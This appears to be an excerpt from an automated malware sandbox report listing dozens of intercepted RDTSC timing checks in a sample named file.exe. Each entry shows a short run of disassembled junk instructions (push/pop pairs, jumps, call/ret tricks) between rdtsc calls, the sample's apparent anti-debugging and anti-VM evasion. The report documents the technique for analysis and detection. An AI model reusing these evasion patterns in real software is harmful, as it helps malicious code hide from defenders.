Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4616A second address: E4616E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E462AE second address: E462B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E462B3 second address: E462B8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E462B8 second address: E462D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 jnc 00007F6BC92F168Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E462D1 second address: E462D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E462D5 second address: E462DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E464AC second address: E464B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0B722 second address: E0B78B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F6BC92F1688h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D1E35h], ebx 0x0000002b lea eax, dword ptr [ebp+1247F513h] 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007F6BC92F1688h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 00000019h 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b nop 0x0000004c push eax 0x0000004d push edx 0x0000004e jno 00007F6BC92F168Ch 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0B78B second address: E0B791 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0B791 second address: E0B795 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0B795 second address: E0B7B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC918D036h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0BDAF second address: E0BDCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6BC92F168Fh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0BDCB second address: E0BDD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC918D02Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0BDD9 second address: E0BDF7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6BC92F1688h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jnc 00007F6BC92F1686h 0x00000017 jne 00007F6BC92F1686h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C2C0 second address: E0C2CA instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6BC918D026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C674 second address: E0C697 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6BC92F1686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6BC92F1694h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C697 second address: E0C69B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C69B second address: E0C6BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6BC92F1699h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C6BC second address: E0C6C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4E204 second address: E4E209 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4E36D second address: E4E385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BC918D031h 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4E4C4 second address: E4E4D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4E4D0 second address: E4E4ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6BC918D038h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4E7C5 second address: E4E7C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4E7C9 second address: E4E7CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4E7CD second address: E4E7D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4E8FD second address: E4E91A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BC918D030h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F6BC918D026h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4EB9B second address: E4EBA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54483 second address: E5448D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F6BC918D026h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54039 second address: E5403D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54E21 second address: E54E25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54E25 second address: E54E2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54E2B second address: E54E4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F6BC918D028h 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F6BC918D02Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54E4C second address: E54E56 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6BC92F1686h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54E56 second address: E54E70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F6BC918D030h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54E70 second address: E54E76 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5525D second address: E55266 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5755A second address: E57588 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC92F1697h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jns 00007F6BC92F168Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007F6BC92F1686h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E576EB second address: E576F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E576F3 second address: E576FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E576FD second address: E57702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5ACA1 second address: E5ACA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC638C second address: DC6390 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC6390 second address: DC6396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A655 second address: E5A6B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BC918D034h 0x00000009 pop edx 0x0000000a pushad 0x0000000b jmp 00007F6BC918D035h 0x00000010 jno 00007F6BC918D026h 0x00000016 jbe 00007F6BC918D026h 0x0000001c popad 0x0000001d pop esi 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F6BC918D02Bh 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F6BC918D035h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A6B6 second address: E5A6BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A6BA second address: E5A6C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A6C0 second address: E5A6C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5A6C6 second address: E5A6F9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F6BC918D035h 0x0000000a pop esi 0x0000000b ja 00007F6BC918D03Ch 0x00000011 jmp 00007F6BC918D030h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5F387 second address: E5F392 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5F632 second address: E5F650 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F6BC918D038h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5F650 second address: E5F658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5F658 second address: E5F65C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5F65C second address: E5F672 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F6BC92F168Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5F672 second address: E5F677 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62E6B second address: E62E78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62E78 second address: E62E7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62E7E second address: E62E82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62E82 second address: E62EAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c jl 00007F6BC918D036h 0x00000012 jmp 00007F6BC918D030h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62EAB second address: E62EB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62EB1 second address: E62EC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC918D02Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62EC2 second address: E62ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62ECC second address: E62EE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC918D033h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E62EE5 second address: E62EE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E631D4 second address: E631DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E631DE second address: E631F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BC92F1692h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E631F5 second address: E631FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E63352 second address: E63357 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E634A5 second address: E634B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jbe 00007F6BC918D02Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E683B3 second address: E683B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E683B9 second address: E683C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6BC918D02Bh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6851D second address: E68528 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E68831 second address: E68835 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E68835 second address: E68843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F6BC92F1686h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E68843 second address: E68847 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E68847 second address: E6884D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6884D second address: E68861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F6BC918D040h 0x0000000c jc 00007F6BC918D02Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E689BE second address: E689F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F6BC92F1686h 0x00000009 jno 00007F6BC92F1686h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F6BC92F168Ch 0x00000019 jmp 00007F6BC92F1698h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E689F6 second address: E689FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E689FC second address: E68A1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6BC92F1698h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E68A1E second address: E68A23 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C4C6 second address: E0C4CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C4CA second address: E0C4E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC918D037h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C4E5 second address: E0C536 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC92F168Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a movsx edi, bx 0x0000000d push 00000004h 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F6BC92F1688h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 nop 0x0000002a pushad 0x0000002b push edi 0x0000002c jmp 00007F6BC92F1692h 0x00000031 pop edi 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 pop eax 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C536 second address: E0C548 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F6BC918D026h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C548 second address: E0C54E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E68B78 second address: E68B7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E68B7E second address: E68B89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6BC92F1686h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E68CB2 second address: E68CB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E68CB6 second address: E68CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007F6BC92F1686h 0x0000000d jnp 00007F6BC92F1686h 0x00000013 push eax 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E68CCD second address: E68CDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F6BC918D028h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E69742 second address: E69777 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F6BC92F168Eh 0x00000008 jmp 00007F6BC92F168Eh 0x0000000d pop esi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007F6BC92F168Eh 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E69777 second address: E6977C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E721A8 second address: E721B5 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6BC92F1686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E721B5 second address: E721BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E721BD second address: E721C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E721C4 second address: E721CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E721CA second address: E721CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
